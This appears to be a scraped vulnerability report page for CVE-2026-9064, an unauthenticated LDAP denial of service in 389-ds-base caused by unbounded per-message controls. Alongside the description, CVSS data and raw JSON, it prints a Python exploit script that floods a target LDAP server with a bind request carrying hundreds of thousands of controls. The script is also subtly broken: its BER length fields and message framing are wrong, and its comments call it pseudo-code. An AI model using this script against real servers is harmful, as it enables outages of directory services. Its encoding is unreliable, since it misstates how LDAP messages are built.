Security Vulnerability Report
中文
CVE-2026-9064 CVSS 7.5 HIGH

CVE-2026-9064

Published: 2026-05-20 10:16:29
Last Modified: 2026-05-20 14:02:12

Description

A flaw was found in 389-ds-base. The get_ldapmessage_controls_ext() function in the LDAP server does not enforce an upper bound on the number of controls per LDAP message. A remote, unauthenticated attacker can send a specially crafted LDAP request containing hundreds of thousands of minimal controls within the default maximum BER message size (2 MB), causing excessive CPU consumption and heap allocation on the server. Under concurrent exploitation, this leads to significant latency degradation, worker thread starvation, or out-of-memory termination, resulting in a denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

389-ds-base (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Exploit Concept for CVE-2026-9064 # This script demonstrates how to send a crafted LDAP message with excessive controls. LDAP_MESSAGE_ID = 1 LDAP_BIND_REQUEST = 0x60 LDAP_CONTROL_OID = "1.3.6.1.4.1.4203.666.5.16" # Example OID def build_ldap_control(oid): """Build a minimal LDAP control BER encoding.""" oid_bytes = oid.encode('utf-8') # Control ::= SEQUENCE { controlOID LDAPOID, criticality BOOLEAN DEFAULT FALSE, controlValue OCTET STRING OPTIONAL } # Minimal structure: OID + Criticality(False) return b"\x30" + struct.pack('>B', len(oid_bytes) + 2) + b"\x04" + struct.pack('>B', len(oid_bytes)) + oid_bytes + b"\x01" + b"\x01" + b"\x00" def build_exploit_packet(num_controls): """Build an LDAP Bind Request with excessive controls.""" controls = b"" for _ in range(num_controls): controls += build_ldap_control(LDAP_CONTROL_OID) # Simplified LDAP Message structure # messageID + bindRequest + [controls] # This is a conceptual representation; actual BER encoding requires strict length calculation. header = struct.pack('>I', LDAP_MESSAGE_ID) bind_req = b"\x60" + b"\x03" + b"\x01" + b"\x01" + b"\x00" # Simple Bind Version 3, Anonymous # Construct controls part (A0 context-specific) controls_wrapper = b"\xA0" + struct.pack('>B', len(controls)) + controls return header + bind_req + controls_wrapper def send_exploit(target_ip, target_port, num_controls=100000): """Send the exploit to the target server.""" try: payload = build_exploit_packet(num_controls) # Note: Actual BER encoding length fields (L in TLV) need to handle multi-byte if > 127 bytes. # This pseudo-code assumes a simplified single-byte length for demonstration. # Real exploit requires precise BER construction. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.sendall(payload) print(f"[+] Sent payload with {num_controls} controls to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error: {e}") # Usage # send_exploit("192.168.1.100", 389, num_controls=200000)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9064", "sourceIdentifier": "[email protected]", "published": "2026-05-20T10:16:28.940", "lastModified": "2026-05-20T14:02:12.280", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in 389-ds-base. The get_ldapmessage_controls_ext() function in the LDAP server does not enforce an upper bound on the number of controls per LDAP message. A remote, unauthenticated attacker can send a specially crafted LDAP request containing hundreds of thousands of minimal controls within the default maximum BER message size (2 MB), causing excessive CPU consumption and heap allocation on the server. Under concurrent exploitation, this leads to significant latency degradation, worker thread starvation, or out-of-memory termination, resulting in a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9064", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480093", "source": "[email protected]"}]}}